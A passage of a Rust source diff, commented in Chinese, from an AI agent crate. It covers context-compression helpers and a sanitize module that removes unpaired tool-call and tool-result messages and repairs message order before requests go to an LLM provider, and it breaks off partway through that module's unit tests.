.and_then(|t| t.topic.clone())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 取并消费 pending_topic_marker(供 agentic loop 顶部读 → insert 系统标记 → 清空)。
|
||||||
|
///
|
||||||
|
/// 返回 "old|new" 格式字符串(push 时末两条 user topic 都非 None 且不同置位)。
|
||||||
|
/// 取出即清空(一次性消费,防同 marker 重复 insert)。无 marker → None。
|
||||||
|
pub fn take_topic_marker(&mut self) -> Option<String> {
|
||||||
|
self.pending_topic_marker.take()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── F-15 上下文管理增强辅助方法(压缩链路核心 API)──
|
||||||
|
//
|
||||||
|
// 已全量接入压缩链路:
|
||||||
|
// - agentic/mod.rs 自动压缩(trigger 判定 + LLM/关键词兜底 + 重入保护)
|
||||||
|
// set_compressing/is_compressing(重入标志) / has_compressible_messages(触发判定)
|
||||||
|
// messages_mut(取 active 喂 LLM) / compress_old_messages(标 compressed 扣 token)
|
||||||
|
// insert_at(摘要/续接锚点 system 消息插入首位)
|
||||||
|
// - commands/ai/compress.rs 与 commands/ai/commands/chat.rs 走 IPC 压缩入口
|
||||||
|
// - build_eviction_units(下方)供会话分段与压缩定位共用同一分组逻辑。
|
||||||
|
|
||||||
|
/// 配置(只读视图,供 agentic.rs 计算压缩触发阈值 `config().budget_limit()`)
|
||||||
|
pub fn config(&self) -> &ContextConfig {
|
||||||
|
&self.config
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 可变消息切片(供阶段2 标记 status="compressed"/"archived_segment" + 调整 token)
|
||||||
|
///
|
||||||
|
/// 调用方约定:仅改 `message.status` / `message.content`,不增删条目(增删走
|
||||||
|
/// [`push`] / [`insert_at`]),否则 `history_tokens` 会与实际脱钩。
|
||||||
|
pub fn messages_mut(&mut self) -> &mut [TrackedMessage] {
|
||||||
|
&mut self.messages
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 在给定位置插入一条消息(其余向后移),并把它计入 token 预算(active 才计)。
|
||||||
|
///
|
||||||
|
/// 供阶段2 在压缩点插入摘要 system 消息。`index` 越界则 panic(对齐 Vec::insert 语义,
|
||||||
|
/// 调用方负责算合法 index,如 `compress_end` 已由 `compress_old_messages` 校验)。
|
||||||
|
pub fn insert_at(&mut self, index: usize, message: ChatMessage) {
|
||||||
|
let tokens = self.estimator.estimate_message(&message);
|
||||||
|
let group = classify_group(&message);
|
||||||
|
if message.is_active() {
|
||||||
|
self.history_tokens += tokens;
|
||||||
|
}
|
||||||
|
self.messages.insert(index, TrackedMessage {
|
||||||
|
message,
|
||||||
|
token_count: tokens,
|
||||||
|
group,
|
||||||
|
topic: None,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 按淘汰单元分组消息范围(三元组原子性),供压缩定位/分段标记复用同一分组逻辑。
|
||||||
|
///
|
||||||
|
/// 返回每个单元的右开区间 end + token 总和,保证:
|
||||||
|
/// - 工具调用三元组(Head + Tail* + 紧随的 Standalone Assistant)在同一单元
|
||||||
|
/// - 保护区 `[protect_start, len)` 内的消息不纳入任何单元
|
||||||
|
///
|
||||||
|
/// 公开供阶段2 会话分段(`archived_segment` 按组原子标记)与压缩定位共用。
|
||||||
|
pub fn build_eviction_units(&self, protect_start: usize) -> Vec<EvictionUnit> {
|
||||||
|
let mut units = Vec::new();
|
||||||
|
let mut i = 0usize;
|
||||||
|
|
||||||
|
while i < protect_start {
|
||||||
|
let mut token_sum = 0u32;
|
||||||
|
|
||||||
|
if self.messages[i].group == MessageGroup::ToolCallHead {
|
||||||
|
token_sum += self.messages[i].token_count;
|
||||||
|
i += 1;
|
||||||
|
while i < protect_start && self.messages[i].group == MessageGroup::ToolResultTail {
|
||||||
|
token_sum += self.messages[i].token_count;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
if i < protect_start
|
||||||
|
&& self.messages[i].group == MessageGroup::Standalone
|
||||||
|
&& matches!(self.messages[i].message.role, MessageRole::Assistant)
|
||||||
|
{
|
||||||
|
token_sum += self.messages[i].token_count;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
token_sum += self.messages[i].token_count;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
units.push(EvictionUnit { end: i, token_sum });
|
||||||
|
}
|
||||||
|
|
||||||
|
units
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 保护区外是否存在可压缩消息(供 agentic loop 顶部触发判断)。
|
||||||
|
///
|
||||||
|
/// "可压缩"= status 为 None/active 的消息(已 compressed/archived_segment/truncated
|
||||||
|
/// 不参与二次压缩,幂等)。`protect_start` 为保护区起点(如 `len - PROTECT_COUNT`)。
|
||||||
|
pub fn has_compressible_messages(&self, protect_start: usize) -> bool {
|
||||||
|
let end = protect_start.min(self.messages.len());
|
||||||
|
// BUG-260624-05:排除 system 角色(压缩摘要 / 话题切换锚点)。这些是上下文锚点非压缩目标——
|
||||||
|
// 若计入,压缩摘要 insert_at(0) 落在可压缩区 [0..protect_start) 且 is_active(status=None),
|
||||||
|
// 致每轮 has_compressible 恒 true → 无限循环压缩(用户报"压缩后每轮提示已压缩并停止")。
|
||||||
|
// compress_old_messages 不改:被调用时仍标旧 system 摘要 compressed(被新摘要替代,防堆积)。
|
||||||
|
self.messages[..end]
|
||||||
|
.iter()
|
||||||
|
.any(|t| t.message.is_active() && !matches!(t.message.role, MessageRole::System))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 把保护区 `[0, compress_end)` 范围内的 active 消息标记为 `status="compressed"`,
|
||||||
|
/// 同步从 `history_tokens` 扣除其 token,返回被压缩消息的克隆(供阶段2 喂 LLM 摘要)。
|
||||||
|
///
|
||||||
|
/// **幂等**:已 compressed(或任何 !active)的消息跳过,不会被二次压缩;`history_tokens`
|
||||||
|
/// 也只扣首次标记的 token。返回的 Vec 仅含**本次新标记**的消息(已 compressed 的不返)。
|
||||||
|
///
|
||||||
|
/// **单向不可逆**:压缩后 DB 原始消息保留,但 LLM 上下文里被 is_active 白名单隔离
|
||||||
|
/// (sanitize step0 过滤)。`compress_end` 越界自动 clamp 到 `messages.len()`。
|
||||||
|
///
|
||||||
|
/// 返回空 Vec 表示本批次无可压缩消息(全部已 compressed 或范围空),调用方据此跳过 LLM 调用。
|
||||||
|
pub fn compress_old_messages(&mut self, compress_end: usize) -> Vec<ChatMessage> {
|
||||||
|
let end = compress_end.min(self.messages.len());
|
||||||
|
let mut newly_compressed = Vec::new();
|
||||||
|
for t in self.messages[..end].iter_mut() {
|
||||||
|
if t.message.is_active() {
|
||||||
|
newly_compressed.push(t.message.clone());
|
||||||
|
t.message.status = Some(MessageStatus::Compressed);
|
||||||
|
self.history_tokens = self.history_tokens.saturating_sub(t.token_count);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
newly_compressed
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 压缩重入标志(读)。true 表示一次 LLM 压缩正在进行中,触发方应跳过本轮压缩。
|
||||||
|
pub fn is_compressing(&self) -> bool {
|
||||||
|
self.is_compressing
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 压缩重入标志(写)。`true`=开始压缩(进入 agentic loop 顶部前置置位),
|
||||||
|
/// `false`=压缩结束(无论成功或降级)。调用方必须成对调用,防止永久卡死。
|
||||||
|
pub fn set_compressing(&mut self, v: bool) {
|
||||||
|
self.is_compressing = v;
|
||||||
|
}
|
||||||
|
|
||||||
|
// build_eviction_units / classify_group 等已在上方公开或文件级定义。
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod manager_tests;
|
||||||
761
crates/df-ai/src/context/sanitize.rs
Normal file
761
crates/df-ai/src/context/sanitize.rs
Normal file
@@ -0,0 +1,761 @@
|
|||||||
|
//! 畸形配对自愈 — 过滤掉会导致 provider 400/500 的中毒历史。
|
||||||
|
//!
|
||||||
|
//! 本模块为 `context::ContextManager` 的 sanitize 链路实现层,由 `mod.rs` 中
|
||||||
|
//! `ContextManager` 的关联函数薄包装转发调用(保持 `ContextManager::sanitize_messages`
|
||||||
|
//! 等历史调用路径不变)。
|
||||||
|
//!
|
||||||
|
//! # 函数概览
|
||||||
|
//! - [`sanitize_messages`]:主入口(step0 active 过滤 → step1/2/3 正向 orphan →
|
||||||
|
//! step3.5 反向 orphan → step4 序列合法性)。
|
||||||
|
//! - [`drop_reverse_orphans`]:step3.5 反向 orphan 检测。
|
||||||
|
//! - [`assert_placeholder_pairing`]:发送视图出口断言(补占位头自愈)。
|
||||||
|
//! - [`ensure_sequence_legal`]:step4 序列合法性修复(首条 user + 连续同 role 合并)。
|
||||||
|
|
||||||
|
use crate::context_helpers::{is_pending_placeholder, PLACEHOLDER_INTEGRITY_ENABLED, TOOL_MISSING_PREFIX};
|
||||||
|
use crate::provider::{ChatMessage, MessageRole, ToolCall};
|
||||||
|
|
||||||
|
/// 畸形配对自愈 — 过滤掉会导致 provider 500 的中毒历史
|
||||||
|
///
|
||||||
|
/// 根因:Anthropic 流式 `tool_use` 块缺 id 时(anthropic_compat.rs 170-176)
|
||||||
|
/// 生成 `tool_missing_{idx}` 占位 id;对应的 `tool_result` 一旦推入历史,
|
||||||
|
/// 下次 `build_for_request` 把畸形三元组原样回传 → 服务端 500 → stream_recv
|
||||||
|
/// 不清历史 → agentic 重发 → 永久卡死。此处仅在「发送视图」剔除畸形配对,
|
||||||
|
/// 不改持久化(self.messages 全量保留),让卡死的会话能自愈继续。
|
||||||
|
///
|
||||||
|
/// provider 协议铁律:assistant 头里每个 tool_call.id 都必须在后续有对应的
|
||||||
|
/// tool_result,否则服务端 400/500。本函数按此自愈,分三档处理每个头:
|
||||||
|
///
|
||||||
|
/// - 全闭合:所有 tool_call.id 都有匹配 tool_result → 原样保留。
|
||||||
|
/// - 全未闭合(含占位 id 必然无匹配):整头丢弃,其无主 tool_result 一并丢弃。
|
||||||
|
/// - 部分闭合:保留头但只留已闭合的 tool_call,丢弃未闭合的 tool_call 及其
|
||||||
|
/// 无主 tool_result(「不能整条删」——保住已发生的合法工具交互历史)。
|
||||||
|
///
|
||||||
|
/// 单次遍历、保序过滤、不重排(user/assistant/tool 角色交替不被打乱)。
|
||||||
|
pub fn sanitize_messages(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||||
|
use std::collections::HashSet;
|
||||||
|
|
||||||
|
// step 0(UX-09):过滤 truncated 软删消息,不进 LLM 上下文。
|
||||||
|
// 编辑某条 user 消息后其后续消息标 truncated(保留 DB 可追溯),发送视图必须剔除,
|
||||||
|
// 否则被编辑前的旧回复仍进入 LLM 历史,污染重生成语义。落库全量保留不受影响。
|
||||||
|
let messages: Vec<ChatMessage> = messages
|
||||||
|
.into_iter()
|
||||||
|
.filter(|m| m.is_active())
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
// step 1:已闭合的 tool_call_id 集合(role=Tool 消息全部提供过的 id)
|
||||||
|
let resolved_ids: HashSet<&str> = messages
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
.filter_map(|m| m.tool_call_id.as_deref())
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
// step 2:判定每个 assistant 头的闭合状态,产出需丢弃的 id 集合
|
||||||
|
// orphaned_ids:未闭合的 tool_call.id(含占位 id),其 tool_result 要丢
|
||||||
|
// partial_heads:部分闭合的头——保留但需重写 tool_calls(只留已闭合的)
|
||||||
|
// full_drop_heads:全未闭合的头——整条丢弃
|
||||||
|
let mut orphaned_ids: HashSet<String> = HashSet::new();
|
||||||
|
let mut full_drop_heads = 0u32;
|
||||||
|
let mut partial_heads = 0u32;
|
||||||
|
// 记录部分闭合头中「应保留的 id」,用于 step3 精确重写
|
||||||
|
let mut partial_keep: std::collections::HashMap<usize, Vec<ToolCall>> =
|
||||||
|
std::collections::HashMap::new();
|
||||||
|
|
||||||
|
for (i, m) in messages.iter().enumerate() {
|
||||||
|
if !matches!(m.role, MessageRole::Assistant) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let Some(calls) = m.tool_calls.as_ref() else { continue };
|
||||||
|
if calls.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let (resolved, unresolved): (Vec<&ToolCall>, Vec<&ToolCall>) = calls
|
||||||
|
.iter()
|
||||||
|
.partition(|c| {
|
||||||
|
!c.id.starts_with(TOOL_MISSING_PREFIX)
|
||||||
|
&& resolved_ids.contains(c.id.as_str())
|
||||||
|
});
|
||||||
|
|
||||||
|
match (resolved.is_empty(), unresolved.is_empty()) {
|
||||||
|
// 全未闭合 → 整头丢弃,未闭合 id 入 orphaned_ids
|
||||||
|
(true, false) => {
|
||||||
|
full_drop_heads += 1;
|
||||||
|
for c in &unresolved {
|
||||||
|
orphaned_ids.insert(c.id.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 全闭合 → 原样保留
|
||||||
|
(false, true) => {}
|
||||||
|
// 部分闭合 → 保留头,只留 resolved 的 tool_call,unresolved 入 orphaned_ids
|
||||||
|
(false, false) => {
|
||||||
|
partial_heads += 1;
|
||||||
|
for c in &unresolved {
|
||||||
|
orphaned_ids.insert(c.id.clone());
|
||||||
|
}
|
||||||
|
partial_keep.insert(i, resolved.into_iter().cloned().collect());
|
||||||
|
}
|
||||||
|
// resolved/unresolved 都空不可能(calls 非空已保证)
|
||||||
|
(true, true) => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let after_triplet: Vec<ChatMessage> = if orphaned_ids.is_empty() && partial_keep.is_empty() {
|
||||||
|
messages
|
||||||
|
} else {
|
||||||
|
// step 3:保序过滤 + 部分闭合头重写 tool_calls
|
||||||
|
let sanitized: Vec<ChatMessage> = messages
|
||||||
|
.into_iter()
|
||||||
|
.enumerate()
|
||||||
|
.filter_map(|(i, mut m)| match m.role {
|
||||||
|
MessageRole::Assistant => {
|
||||||
|
let Some(calls) = m.tool_calls.as_ref() else { return Some(m) };
|
||||||
|
if calls.is_empty() {
|
||||||
|
return Some(m);
|
||||||
|
}
|
||||||
|
if let Some(keep) = partial_keep.get(&i) {
|
||||||
|
// 部分闭合:重写 tool_calls 为仅已闭合子集
|
||||||
|
m.tool_calls = Some(keep.clone());
|
||||||
|
Some(m)
|
||||||
|
} else {
|
||||||
|
// 全闭合:保留;全未闭合(id 全在 orphaned_ids):丢弃
|
||||||
|
let all_orphaned =
|
||||||
|
calls.iter().all(|c| orphaned_ids.contains(&c.id));
|
||||||
|
if all_orphaned {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some(m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
MessageRole::Tool => {
|
||||||
|
// 无主 tool_result(其 id 命中 orphaned_ids)丢弃,其余保留
|
||||||
|
if m
|
||||||
|
.tool_call_id
|
||||||
|
.as_deref()
|
||||||
|
.is_some_and(|id| orphaned_ids.contains(id))
|
||||||
|
{
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some(m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => Some(m),
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
tracing::warn!(
|
||||||
|
full_drop_heads,
|
||||||
|
partial_rewrite_heads = partial_heads,
|
||||||
|
orphaned_tool_results = orphaned_ids.len(),
|
||||||
|
"history sanitized: dropped/rewrote malformed tool_call triplets (view-only, persisted history untouched)"
|
||||||
|
);
|
||||||
|
sanitized
|
||||||
|
};
|
||||||
|
|
||||||
|
// step 3.5(阶段2 占位配对完整性):反向 orphan 检测 —— tool_result 无对应 tool_call 头 → 丢。
|
||||||
|
//
|
||||||
|
// 根因(解 400 orphan):审批挂起占位 tool_result(内容 audit/cache.rs:PENDING_APPROVAL_PLACEHOLDER)
|
||||||
|
// 经 step3(正向 orphan:头无 result→丢头 + 其 result)或 build_eviction_units(预算裁剪从三元组
|
||||||
|
// 边界 trim)后,可能出现 tool_result 残留但其 tool_call 头已被丢弃 → orphan tool_result(无头)。
|
||||||
|
// deepseek-v4-pro 等端点对此严格校验 → 400。
|
||||||
|
//
|
||||||
|
// 检测:收集所有保留的 assistant 头的 tool_call.id 集合(head_ids),tool_result 的 id 不在
|
||||||
|
// head_ids 内即 orphan → 丢。与 step2/3 互补:step2/3 管"头丢 result",step3.5 管"result 丢头"。
|
||||||
|
//
|
||||||
|
// **占位保护**:带 PENDING_MARKER_PREFIX 标记的审批占位 tool_result,虽其头被丢,仍需保留——
|
||||||
|
// 占位语义是"等用户审批",LLM 需看到它才知道在等审批。故对占位 result 不做反向 orphan 丢弃,
|
||||||
|
// 改由出口断言(build_for_request 出口)自愈补头(见 assert_placeholder_pairing)。
|
||||||
|
// 老占位(无 __PENDING__ 标记,纯文本 LEGACY_PENDING_PLACEHOLDER_TEXT)同样豁免保留
|
||||||
|
// (is_pending_placeholder 精确等值匹配老占位全文),虽无 tc_id 无法强绑定补头,但保留后
|
||||||
|
// 出口断言仍能据其 tool_call_id 补占位头闭合三元组(向前兼容迁移期老数据)。
|
||||||
|
let after_reverse_orphan = if PLACEHOLDER_INTEGRITY_ENABLED {
|
||||||
|
drop_reverse_orphans(after_triplet)
|
||||||
|
} else {
|
||||||
|
after_triplet
|
||||||
|
};
|
||||||
|
|
||||||
|
// step 4:序列合法性修复(首条 user + 连续同 role 合并),防 Anthropic/GLM 1214。
|
||||||
|
ensure_sequence_legal(after_reverse_orphan)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// step 3.5:反向 orphan 检测(view-only)—— 丢弃无对应 tool_call 头的 tool_result。
|
||||||
|
///
|
||||||
|
/// 详见 [`sanitize_messages`] step3.5 注释。占位 result(带 PENDING_MARKER_PREFIX 标记)豁免
|
||||||
|
/// (保留,出口断言自愈补头),其余 tool_result 的 id 不在任何保留头 tool_calls 内 → 丢。
|
||||||
|
pub fn drop_reverse_orphans(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||||
|
// 收集所有保留 assistant 头的 tool_call.id(正向 orphan 处理后残留的头里的 id)
|
||||||
|
use std::collections::HashSet;
|
||||||
|
let head_ids: HashSet<String> = messages
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||||
|
.filter_map(|m| m.tool_calls.as_ref())
|
||||||
|
.flatten()
|
||||||
|
.map(|c| c.id.clone())
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
let mut dropped = 0u32;
|
||||||
|
let mut placeholder_kept = 0u32;
|
||||||
|
let filtered: Vec<ChatMessage> = messages
|
||||||
|
.into_iter()
|
||||||
|
.filter(|m| {
|
||||||
|
if !matches!(m.role, MessageRole::Tool) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
let Some(id) = m.tool_call_id.as_deref() else {
|
||||||
|
return true; // 无 id 的 tool_result(异常数据),不在此处处理
|
||||||
|
};
|
||||||
|
if head_ids.contains(id) {
|
||||||
|
return true; // 有对应头 → 保留
|
||||||
|
}
|
||||||
|
// 无对应头:占位(带标记)豁免保留(出口断言自愈补头);非占位 → 丢
|
||||||
|
if is_pending_placeholder(&m.content) {
|
||||||
|
placeholder_kept += 1;
|
||||||
|
true
|
||||||
|
} else {
|
||||||
|
dropped += 1;
|
||||||
|
false
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
if dropped > 0 || placeholder_kept > 0 {
|
||||||
|
tracing::warn!(
|
||||||
|
dropped_reverse_orphan_tool_results = dropped,
|
||||||
|
placeholder_kept_without_head = placeholder_kept,
|
||||||
|
"history sanitized: dropped orphan tool_results without matching tool_call head (view-only, persisted history untouched)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
filtered
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 发送视图出口断言(阶段2 占位配对完整性):确保所有 tool_result(含审批占位)都有
|
||||||
|
/// 对应 tool_call 头,失败降级 TOOL_MISSING_PREFIX 自愈。
|
||||||
|
///
|
||||||
|
/// **职责**:在消息即将发给 LLM 前(`build_for_request` 出口)最后一道防线:若仍有
|
||||||
|
/// orphan tool_result(sanitize step3.5 豁免保留的占位 result,其头在 step3/裁剪中被丢),
|
||||||
|
/// 则**就地补一个 tool_missing_ 占位头**塞在 tool_result 前,使其配对闭合。
|
||||||
|
///
|
||||||
|
/// **未接入出口**:`compress_via_llm`(src-tauri 侧 F-15 压缩)与 agentic loop 主循环也属
|
||||||
|
/// "发给 LLM 前"语义,但二者均在 src-tauri crate(非 df-ai),当前未调本函数——如需对压缩
|
||||||
|
/// 后消息同样补头,由调用方在拿到压缩结果后自行调本函数闭合(本 crate 不强加跨 crate 依赖)。
|
||||||
|
///
|
||||||
|
/// 自愈原理:占位头带 TOOL_MISSING_PREFIX id,该 id 必然无"真"匹配,但与紧跟的 orphan
|
||||||
|
/// tool_result(同 id)构成闭合三元组(头 + result 都在,id 一致)→ 满足 provider 协议
|
||||||
|
/// "每个 tool_call.id 必须有 tool_result"的铁律,不再 400。占位头的 id 用 tool_result 的
|
||||||
|
/// tool_call_id 复用(而非 tool_missing_{idx} 自增),保证与 result 精确配对。
|
||||||
|
///
|
||||||
|
/// **view-only**:本函数不改持久化,仅修改传入 Vec(clone),持久化全量保留。
|
||||||
|
/// 占位头补在 orphan result **正前方**(保序,角色交替 assistant→tool 合法),content 给空串
|
||||||
|
/// (LLM 看 assistant 头无文本内容但有 tool_calls 即理解"调了工具")。
|
||||||
|
///
|
||||||
|
/// `enabled` 参数由调用方传入(常量 flag),false 时直接原样返回(旧行为,flag 关回退)。
|
||||||
|
pub fn assert_placeholder_pairing(
|
||||||
|
messages: Vec<ChatMessage>,
|
||||||
|
enabled: bool,
|
||||||
|
) -> Vec<ChatMessage> {
|
||||||
|
if !enabled {
|
||||||
|
return messages;
|
||||||
|
}
|
||||||
|
// 收集现有头的 tool_call.id(已配对的)
|
||||||
|
use std::collections::HashSet;
|
||||||
|
let head_ids: HashSet<String> = messages
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||||
|
.filter_map(|m| m.tool_calls.as_ref())
|
||||||
|
.flatten()
|
||||||
|
.map(|c| c.id.clone())
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
// 找 orphan tool_result(id 不在 head_ids)。占位/非占位都需补头(否则 400)。
|
||||||
|
// 单次遍历产出新 Vec:orphan result 前插一个占位头(同 id),其余原样保留保序。
|
||||||
|
let mut healed = 0u32;
|
||||||
|
let mut out: Vec<ChatMessage> = Vec::with_capacity(messages.len());
|
||||||
|
for m in messages.into_iter() {
|
||||||
|
if matches!(m.role, MessageRole::Tool) {
|
||||||
|
if let Some(id) = m.tool_call_id.as_deref() {
|
||||||
|
if !head_ids.contains(id) && !id.starts_with(TOOL_MISSING_PREFIX) {
|
||||||
|
// orphan result → 前补占位头(TOOL_MISSING_PREFIX + 原 id,确保唯一且与 result 配对)
|
||||||
|
let head_id = format!("{}{}", TOOL_MISSING_PREFIX, id);
|
||||||
|
let head = ChatMessage::assistant_with_tools(
|
||||||
|
String::new(),
|
||||||
|
vec![ToolCall::new(head_id.clone(), "pending_approval_placeholder", "{}")],
|
||||||
|
);
|
||||||
|
out.push(head);
|
||||||
|
// 把 result 的 tool_call_id 也改写成占位头 id,使三者精确配对
|
||||||
|
let mut result = m;
|
||||||
|
result.tool_call_id = Some(head_id);
|
||||||
|
out.push(result);
|
||||||
|
healed += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.push(m);
|
||||||
|
}
|
||||||
|
if healed > 0 {
|
||||||
|
tracing::warn!(
|
||||||
|
healed_orphan_tool_results = healed,
|
||||||
|
"send-view exit: healed orphan tool_results by inserting TOOL_MISSING_PREFIX heads (view-only, persisted history untouched)"
|
||||||
|
);
|
||||||
|
// 加固(连续 assistant→400):补占位头可能插在普通 assistant 之后,产生连续 assistant
|
||||||
|
// (普通 assistant + 占位 assistant + tool_result)。Anthropic/GLM 协议对连续同 role
|
||||||
|
// 敏感,会 400/1214。ensure_sequence_legal 在 sanitize 末尾已跑过(早于本函数),无法捕获
|
||||||
|
// 本函数新插入的头。故补头后再过一次 ensure_sequence_legal:合并连续 assistant(其
|
||||||
|
// tool_calls 合并入前一头,占位头 id 与 result id 一致,合并后配对仍闭合) + 防补头
|
||||||
|
// 致首条变 assistant(理论上 orphan result 前必有 user/assistant,但防御性兜底)。
|
||||||
|
//
|
||||||
|
// view-only:out 是 clone,ensure_sequence_legal 仅改本 Vec,不改持久化。
|
||||||
|
return ensure_sequence_legal(out);
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// step 4:序列合法性修复(Anthropic/GLM Messages API 协议铁律,view-only 不改持久化)。
|
||||||
|
///
|
||||||
|
/// 协议要求首条必须是 user(system 由 convert_request 抽顶层)。sanitize step0(is_active 过滤)
|
||||||
|
/// 与超预算裁剪(build_eviction_units 从三元组边界 trim)可能使首条变成 assistant/tool_result
|
||||||
|
/// (开头 user 被裁/滤)→ 触发端点 1214「messages 参数非法」。
|
||||||
|
///
|
||||||
|
/// 修复:丢弃开头的 assistant/tool 消息(无前置 user 的孤儿,发也非法),直到首个 user/system。
|
||||||
|
/// 注:连续同 role(user/user、assistant/assistant)现实极少——裁剪按三元组原子保护不产生连续 user,
|
||||||
|
/// archived/compressed 过滤后由摘要 system 占位——故本轮不合并(合并会破坏裁剪保护区语义 + 改变条数,
|
||||||
|
/// 致 over_budget_trims_old 等测试失败)。若运行时日志显示连续 role 也是 1214 来源,再补合并。
|
||||||
|
pub fn ensure_sequence_legal(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||||
|
let mut skipped = 0u32;
|
||||||
|
let mut merged = 0u32;
|
||||||
|
let mut fixed: Vec<ChatMessage> = Vec::with_capacity(messages.len());
|
||||||
|
for m in messages {
|
||||||
|
// 首条必须 user:skip 开头 assistant/tool(无前置 user 的孤儿)
|
||||||
|
if fixed.is_empty() && matches!(m.role, MessageRole::Assistant | MessageRole::Tool) {
|
||||||
|
skipped += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// 连续同 role 合并(user content;assistant content+tool_calls;Tool 不合并——
|
||||||
|
// 连续 tool_result 由 anthropic_compat flush_tool_results 合并成 user blocks,此处合会丢 id)
|
||||||
|
if let Some(last) = fixed.last_mut() {
|
||||||
|
let same_role = std::mem::discriminant(&last.role) == std::mem::discriminant(&m.role);
|
||||||
|
if same_role && matches!(m.role, MessageRole::User | MessageRole::Assistant) {
|
||||||
|
if !m.content.is_empty() {
|
||||||
|
if !last.content.is_empty() {
|
||||||
|
last.content.push('\n');
|
||||||
|
}
|
||||||
|
last.content.push_str(&m.content);
|
||||||
|
}
|
||||||
|
if matches!(m.role, MessageRole::Assistant) {
|
||||||
|
if let Some(calls) = m.tool_calls {
|
||||||
|
last.tool_calls.get_or_insert_with(Vec::new).extend(calls);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
merged += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fixed.push(m);
|
||||||
|
}
|
||||||
|
if skipped > 0 || merged > 0 {
|
||||||
|
tracing::warn!(
|
||||||
|
skipped,
|
||||||
|
merged,
|
||||||
|
"序列修复:skip 开头非 user + 合并连续同 role(view-only,避免 Anthropic/GLM 1214)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
fixed
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::context::ContextManager;
|
||||||
|
use crate::context_helpers::ContextConfig;
|
||||||
|
|
||||||
|
fn cfg(max_tokens: u32) -> ContextConfig {
|
||||||
|
ContextConfig {
|
||||||
|
max_tokens,
|
||||||
|
output_reserve: 0,
|
||||||
|
safety_ratio: 1.0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn sanitize_drops_placeholder_id_triplet() {
|
||||||
|
// 中毒场景:assistant 头带 tool_missing_ 占位 id + 无主 tool_result
|
||||||
|
// → build_for_request 必须剔除两者,否则下次回传触发 provider 500 死循环
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("调用工具"));
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调",
|
||||||
|
vec![ToolCall::new("tool_missing_0", "read_file", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("tool_missing_0", "结果"));
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||||
|
// 中毒的 head + 无主 tool_result 全部剔除,只剩首条 user
|
||||||
|
assert_eq!(msgs.len(), 1, "占位 id 三元组应被 sanitize 剔除");
|
||||||
|
assert_eq!(msgs[0].content, "调用工具");
|
||||||
|
// 持久化全量保留(自愈只改发送视图)
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 3, "sanitize 不应污染内存全量");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn sanitize_drops_unresolved_tool_call_head() {
|
||||||
|
// 真实 id 但全无 tool_result(流式中断/异常)→ 全未闭合档,整头丢弃
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调",
|
||||||
|
vec![ToolCall::new("call_a", "fn_a", "{}"), ToolCall::new("call_b", "fn_b", "{}")],
|
||||||
|
));
|
||||||
|
// 两个 call 都无 result → 整头丢弃
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||||
|
assert!(msgs.iter().all(|m| !matches!(m.role, MessageRole::Assistant)
|
||||||
